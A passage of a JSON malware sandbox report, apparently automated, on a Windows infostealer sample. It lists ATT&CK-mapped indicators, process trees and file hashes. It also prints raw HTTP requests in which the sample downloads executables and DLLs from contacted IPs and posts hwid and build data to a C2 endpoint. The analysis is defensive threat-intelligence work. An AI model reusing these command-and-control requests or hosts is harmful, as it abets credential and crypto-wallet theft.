string)","description":"Found reference to API \"InternetReadFile\" (Indicator: \"InternetReadFile\"; Source: \"00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-241","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"Network Related","name":"Contains ability to retrieve information about user accounts on a server (API string)","description":"Found reference to API \"NetUserGetInfo\" (Indicator: \"NetUserGetInfo\"; Source: \"00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1087.001","relevance":1,"id":"string-112","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"Network Related","name":"Contains ability to set options for internet handles (API string)","description":"Found reference to API \"InternetSetOptionExW\" (Indicator: \"InternetSetOption\"; Source: \"00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-453","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Windows internet services (API string)","description":"Found reference to API \"InternetOpenW\" (Indicator: \"InternetOpen\"; Source: \"00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-539","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"Network Related","name":"Downloads archive files from web server","description":"\"GET /1/Package.zip HTTP/1.1\nHost: note.padd.cn.com\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36\"","origin":"Network Traffic","mitre_attack_id":"T1105","relevance":3,"id":"network-65","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"53.1.3.20\"\n \"26.23.12.2\"\n \"185.172.128.228\"\n \"185.172.128.203\"","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Heuristic match: \"T Microsoft Corporation\"\n \"run.exe\" was detected as \"VC8 -> Microsoft Corporation\"\n \"UIxMarketPlugin.dll\" was detected as \"Visual C++ 2005 DLL -> Microsoft\"\n \"relay.dll\" was detected as \"Visual C++ 2005 DLL -> Microsoft\"\n \"u3qc.0.exe\" was detected as \"VC8 -> Microsoft Corporation\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"850a2a0eee8fe41dc2b84bcf4f692aa2.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"PE file has unusual entropy sections","description":".rdata with unusual entropies 7.51184845275","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":3,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure","description":"GetStartupInfoA@KERNEL32.dll at 53350-1-0040160A","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1543","relevance":5,"id":"stream-133","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"suspicious","category":"General","name":"Found a potential E-Mail address in binary/memory","description":"Pattern match: \"q@2_.g\"","origin":"File/Memory","mitre_attack_id":"T1114","relevance":3,"id":"string-63","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"\"run.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"- [targetUID: 00000000-00004836]\n \"UIxMarketPlugin.dll\" has type \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\"- [targetUID: 00000000-00004836]\n \"relay.dll\" has type \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\"- [targetUID: 00000000-00004836]\n \"u3qc.0.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"- [targetUID: 00000000-00004836]","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 185.172.128.228 on port 80 is sent without HTTP header\n TCP traffic to 185.172.128.203 on port 80 is sent without HTTP header\n TCP traffic to 176.97.76.106 on port 80 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"suspicious","category":"Network Related","name":"Uses a browser-related user-agent without launching browser","description":"Found user-agent(s): Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match - MD5 algorithm","description":"YARA signature for MD5 algorithm matched on file \"00000000-00009160.00000000.117798.069F0000.00000004.mdmp\"\n YARA signature for MD5 algorithm matched on file \"00000000-00006116.00000000.116524.06F48000.00000004.mdmp\"\n YARA signature for MD5 algorithm matched on file \"00000000-00006116.00000000.116524.067A7000.00000004.mdmp\"\n YARA signature for MD5 algorithm matched on file \"00000000-00009160.00000000.117798.066C5000.00000004.mdmp\"\n YARA signature for MD5 algorithm matched on file \"00000000-00009160.00000000.117798.06E65000.00000004.mdmp\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":3,"id":"yara-112","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the command-line string for the current process","description":"GetCommandLineA@KERNEL32.dll at 53350-1-0040160A","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":3,"id":"stream-118","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"CRC value set in PE header does not match actual value","description":"\"run.exe\" claimed CRC 2500324 while the actual is CRC 398738\n \"UIxMarketPlugin.dll\" claimed CRC 1706266 while the actual is CRC 2500324\n \"relay.dll\" claimed CRC 1629489 while the actual is CRC 1706266\n \"u3qc.0.exe\" claimed CRC 258553 while the actual is CRC 1603562","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-0","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"$49","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_100% (W)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Calls an API typically used to find a resource in a module","description":"\" \"------IEHCAKKJDBKKFHJJDHII\nContent-Disposition: form-data; name=\"hwid\"\n\n2039C540C46F1350827015\n------IEHCAKKJDBKKFHJJDHII\nContent-Disposition: form-data; name=\"build\"\n\ndefault100\n------IEHCAKKJDBKKFHJJDHII--\"","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":10,"id":"network-40","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal Crypto currency wallets information (file access)","description":"\"u33s.0.exe\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\MultiDoge\\\"","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-101","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal Mail credentials from registry","description":"$5b","origin":"Registry Access","mitre_attack_id":"T1114","relevance":3,"id":"registry-37","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal browser sensitive information (file access)","description":"$5c","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-96","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal crypto wallet extension (file access)","description":"$5d","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-114","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]}],"incidents":[{"name":"Spyware","details_count":1,"details":[{"detail":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"name":"Fingerprint","details_count":1,"details":[{"detail":"Queries process information"}],"sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"name":"Exploit","details_count":1,"details":[{"detail":"GETs/downloads executable files from web server"}],"sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 1 domain and 1 host"}],"sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"name":"Stealer/Phishing","details_count":2,"details":[{"detail":"Reads FTP client related files"},{"detail":"Tries to steal Mail credentials from registry"}],"sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"name":"Persistence","details_count":2,"details":[{"detail":"Writes data to a remote process"},{"detail":"Drops executable files to the application program directory (%ProgramData%)"}],"sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"name":"Evasive","details_count":5,"details":[{"detail":"Marks file for deletion"},{"detail":"Contains ability to check if a debugger is running"},{"detail":"Contains ability to terminate a process"},{"detail":"Input file contains API references not part of its Import Address Table (IAT)"},{"detail":"Writes archive files"}],"sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"name":"Network","details_count":1,"details":[{"detail":"Calls an API typically used to create a HTTP or FTP session"}],"sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]}]},"activity":{"stats":{"process_count":3,"spawned_processes_count":3,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":6,"imported_dlls_count":152,"dropped_files_count":0,"extracted_files_count":31,"files_written_count":24,"files_deleted_count":0,"registry_keys_created_count":1,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":1,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":4,"dns_resolutions_count":1,"contacted_urls_count":11,"http_requests_count":11},"behavior_tags":["backdoor"],"sample_flags":["Network Traffic","Extracted Files","Launch Failed","Multi-Process"],"sandbox_reports":[{"id":"662f77ac3df623e7050b6d06","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["GBR","RUS"],"submit_name":"850a2a0eee8fe41dc2b84bcf4f692aa2.exe","analysis_start_time":"2024-04-29T10:34:20+00:00","indicators_count":{"informative":140,"suspicious":23,"malicious":2},"tags":["Network Traffic","Extracted Files","Launch Failed"],"is_in_unified_schema":true},{"id":"662f7767b1aafd0092088e90","environment_id":110,"environment_description":"Windows 7 32 bit (HWP Support)","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["GBR","RUS"],"submit_name":"artifact.bin","analysis_start_time":"2024-04-29T10:33:12+00:00","indicators_count":{"informative":196,"suspicious":73,"malicious":11},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"185.172.128.228","port":80,"protocol":"TCP","country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"address":"185.172.128.203","port":80,"protocol":"TCP","country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"address":"176.97.76.106","port":80,"protocol":"TCP","country":"United Kingdom","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"address":"185.172.128.151","port":80,"protocol":"TCP","country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]}],"dns_resolutions":[{"domain":"note.padd.cn.com","address":"176.97.76.106","ttl":430,"country":"United Kingdom","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]}],"http_requests":[{"host":"185.172.128.228","host_ip":"185.172.128.228:80","url":"/ping.php?substr=0","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /ping.php?substr=0 HTTP/1.1\nHost: 185.172.128.228\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"host":"185.172.128.203","host_ip":"185.172.128.203:80","url":"/timeSync.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /timeSync.exe HTTP/1.1\nHost: 185.172.128.203\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"host":"note.padd.cn.com","host_ip":"176.97.76.106:80","url":"/1/Package.zip","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /1/Package.zip HTTP/1.1\nHost: note.padd.cn.com\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"host":"185.172.128.151","host_ip":"185.172.128.151:80","url":"/7043a0c6a68d9c65.php","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /7043a0c6a68d9c65.php HTTP/1.1\nContent-Type: multipart/form-data; boundary=----IEHCAKKJDBKKFHJJDHII\nHost: 185.172.128.151\nContent-Length: 217\nConnection: Keep-Alive\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"host":"185.172.128.151","host_ip":"185.172.128.151:80","url":"/8420e83ceb95f3af/sqlite3.dll","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /8420e83ceb95f3af/sqlite3.dll HTTP/1.1\nHost: 185.172.128.151\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"host":"185.172.128.151","host_ip":"185.172.128.151:80","url":"/8420e83ceb95f3af/freebl3.dll","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /8420e83ceb95f3af/freebl3.dll HTTP/1.1\nHost: 185.172.128.151\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"host":"185.172.128.151","host_ip":"185.172.128.151:80","url":"/8420e83ceb95f3af/mozglue.dll","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /8420e83ceb95f3af/mozglue.dll HTTP/1.1\nHost: 185.172.128.151\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"host":"185.172.128.151","host_ip":"185.172.128.151:80","url":"/8420e83ceb95f3af/msvcp140.dll","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /8420e83ceb95f3af/msvcp140.dll HTTP/1.1\nHost: 185.172.128.151\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"host":"185.172.128.151","host_ip":"185.172.128.151:80","url":"/8420e83ceb95f3af/nss3.dll","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /8420e83ceb95f3af/nss3.dll HTTP/1.1\nHost: 185.172.128.151\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"host":"185.172.128.151","host_ip":"185.172.128.151:80","url":"/8420e83ceb95f3af/softokn3.dll","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /8420e83ceb95f3af/softokn3.dll HTTP/1.1\nHost: 185.172.128.151\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"host":"185.172.128.151","host_ip":"185.172.128.151:80","url":"/8420e83ceb95f3af/vcruntime140.dll","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /8420e83ceb95f3af/vcruntime140.dll HTTP/1.1\nHost: 185.172.128.151\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}],"processes":[{"pid":4024,"ppid":0,"name":"artifact.bin.exe","command_line":"","sha256":"eda9de6005d8b240fcd625ca6e2c2ec385343f2fb88c9d7233892e8302488a9f","normalized_path":"C:\\artifact.bin.exe","uid":"00000000-00004024","icon":"$5e"},{"pid":3584,"ppid":4024,"name":"u33s.0.exe","command_line":"","sha256":"1c03534e55f231c41f78ad9a110bc391e2c915daa57f3a6cc115819feaa33047","normalized_path":"%TEMP%\\u33s.0.exe","parent_uid":"00000000-00004024","uid":"00000000-00003584"},{"pid":1280,"ppid":4024,"name":"run.exe","command_line":"","sha256":"a05b592a971fe5011554013bcfe9a4aaf9cfc633bdd1fe3a8197f213d557b8d3","normalized_path":"%TEMP%\\u33s.2\\run.exe","parent_uid":"00000000-00004024","uid":"00000000-00001280"}],"all_imported_dlls":["sspicli.dll","bcryptprimitives.dll","imm32.dll","combase.dll","wow64win.dll","rpcrt4.dll","VxSSL32.dll","ws2_32.dll","fltLib.dll","ole32.dll","KernelBase.dll","apphelp.dll","msvcp_win.dll","msvcrt.dll","oleaut32.dll","msimg32.dll","ntdll.dll","user32.dll","wow64cpu.dll","kernel32.dll","win32u.dll","gdi32.dll","advapi32.dll","cryptbase.dll","wow64.dll","gdi32full.dll","ucrtbase.dll","sechost.dll","api-ms-win-crt-utility-l1-1-0.dll","relay.dll","pdh.dll","comctl32.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","api-ms-win-downlevel-version-l1-1-0.dll","userenv.dll","api-ms-win-downlevel-shlwapi-l2-1-0.dll","rsaenh.dll","secur32.dll","ncrypt.dll","nss3.dll","Wldap32.dll","WSHTCPIP.DLL","msvcp140.dll","ntshrui.dll","winrnr.dll","dhcpcsvc.dll","mozglue.dll","cscapi.dll","netapi32.dll","pla.dll","msvcr100.dll","api-ms-win-crt-runtime-l1-1-0.dll","oledlg.dll","mswsock.dll","dhcpcsvc6.dll","WindowsCodecs.dll","comdlg32.dll","nsi.dll","msasn1.dll","api-ms-win-core-file-l2-1-0.dll","api-ms-win-core-processthreads-l1-1-1.dll","api-ms-win-crt-math-l1-1-0.dll","SearchFolder.dll","dnsapi.dll","profapi.dll","tzres.dll","api-ms-win-crt-string-l1-1-0.dll","FWPUCLNT.DLL","rpcss.dll","vcruntime140.dll","oleacc.dll","propsys.dll","psapi.dll","ntmarta.dll","crypt32.dll","wship6.dll","api-ms-win-crt-convert-l1-1-0.dll","dwmapi.dll","srvcli.dll","riched20.dll","dbghelp.dll","pnrpnsp.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","api-ms-win-crt-filesystem-l1-1-0.dll","lpk.dll","clbcatq.dll","GROOVEEX.DLL","samcli.dll","shdocvw.dll","RpcRtRemote.dll","wsock32.dll","wevtapi.dll","normaliz.dll","bcrypt.dll","cryptsp.dll","winnsi.dll","msvcr90.dll","ATL90.dll","winhttp.dll","api-ms-win-core-localization-l1-2-0.dll","winmm.dll","oleaccrc.dll","cfgmgr32.dll","RstrtMgr.dll","webio.dll","wkscli.dll","wtsapi32.dll","zipfldr.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","version.dll","netprofm.dll","api-ms-win-crt-stdio-l1-1-0.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","api-ms-win-downlevel-advapi32-l2-1-0.dll","urlmon.dll","api-ms-win-crt-locale-l1-1-0.dll","api-ms-win-crt-environment-l1-1-0.dll","api-ms-win-crt-multibyte-l1-1-0.dll","netutils.dll","setupapi.dll","7-zip.dll","shlwapi.dll","api-ms-win-core-synch-l1-2-0.dll","winshfhc.dll","api-ms-win-core-file-l1-2-0.dll","UIxMarketPlugin.dll","usp10.dll","uxtheme.dll","wdscore.dll","api-ms-win-core-timezone-l1-1-0.dll","tdh.dll","GdiPlus.dll","xmllite.dll","slc.dll","msxml3.dll","msvcp90.dll","wshqos.dll","msxml3r.dll","devobj.dll","nlaapi.dll","npmproxy.dll","linkinfo.dll","msctf.dll","shell32.dll","wininet.dll","iertutil.dll","api-ms-win-crt-time-l1-1-0.dll","rasadhlp.dll","NapiNSP.dll","IPHLPAPI.DLL","api-ms-win-downlevel-user32-l1-1-0.dll","api-ms-win-crt-heap-l1-1-0.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"UIxMarketPlugin.dll","sha256":"cbcea8f28d8916219d1e8b0a8ca2db17e338eb812431bc4ad0cb36c06fd67f15","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"name":"run.exe","sha256":"a05b592a971fe5011554013bcfe9a4aaf9cfc633bdd1fe3a8197f213d557b8d3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"name":"relay.dll","sha256":"7b2db9c88f60ed6dd24b1dec321a304564780fdb191a96ec35c051856128f1ed","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"name":"u3qc.0.exe","sha256":"1c03534e55f231c41f78ad9a110bc391e2c915daa57f3a6cc115819feaa33047","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"}]},{"name":"il_Plugin_v1.lnk.bin","sha256":"96bfacea535076136f11da26cca03c99d539c09ce17f447757075a0fe3b283c1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"}]},{"name":"u3qc.1.zip","sha256":"a1dd547a63b256aa6a16871ed03f8b025226f7617e67b8817a08444df077b001","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"}]},{"name":"ff6c1290","sha256":"3415c66b02b35ba07a4f0ec5beeab4c0f1bc3650ed3c8319c10bd95ea097e1a5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"}]},{"name":"21f1999","sha256":"65228589bee6b8b8fa5d31fa1ed3d0fe8c7a2521f760427237f1fb759f8db26f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"}]},{"name":"bunch.dat","sha256":"9387488f9d338e211be2cb45109bf590a5070180bc0d4a703f70d3cb3c4e1742","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"name":"whale.dbf","sha256":"b440170853bdb43b66497f701aee2901080326975140b095a1669cb9dee13422","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"name":"ncfonldkvc","sha256":"96bfacea535076136f11da26cca03c99d539c09ce17f447757075a0fe3b283c1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"}]},{"name":"nss3.dll","sha256":"ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"name":"Amazon_Downloader_Log_20171206-225712_1810e9e0-1a8d-457c-be3a-737de50dc6bb.txt","sha256":"d91e1c82706b8b448f9162776543d6c9956762aeb546de103a09f0a8d818c11e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"name":"BFIJKEBF","sha256":"c2fe0cb3ed111dfea76b1ed24e7cd004b2f52acda9d6acf74f0c2337c2d833a3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"name":"CFBFCGIDAKECGCBGDBAFIDHCFB","sha256":"c4c49e874abd38b83cb8eefe46d05d21dfc3502a69a59fb672316a50b04462c7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"name":"CANON_UIX_SERVICELOG_20240429105305.TXT","sha256":"e839068b7082de263221092986f2c3e28e24f3d69784ecfe370a6a9867b4165f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"name":"FBFCFIEBKEGHIDGCAFBFBFHDBA","sha256":"d952543d70c2df6aa18f67dd3b4f4eb951695ccfd41a2d0cbc7a81bf7e529a8c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"name":"IDHJEBGIEBFIJKEBFBFH","sha256":"522cad95d3fa6ebb3274709b8d09bbb1ca37389d0a924cd29e934a75aa04c6c9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"name":"freebl3.dll","sha256":"edd043f2005dbd5902fc421eabb9472a7266950c5cbaca34e2d590b17d12f5fa","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"name":"mozglue.dll","sha256":"ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"name":"msvcp140.dll","sha256":"5136a49a682ac8d7f1ce71b211de8688fce42ed57210af087a8e2dbc8a934062","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"name":"softokn3.dll","sha256":"74ebbac956e519e16923abdc5ab8912098a4f64e38ddcb2eae23969f306afe5a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"name":"vcruntime140.dll","sha256":"8934aaeb65b6e6d253dfe72dea5d65856bd871e989d5d3a2a35edfe867bb4825","verdict":"unde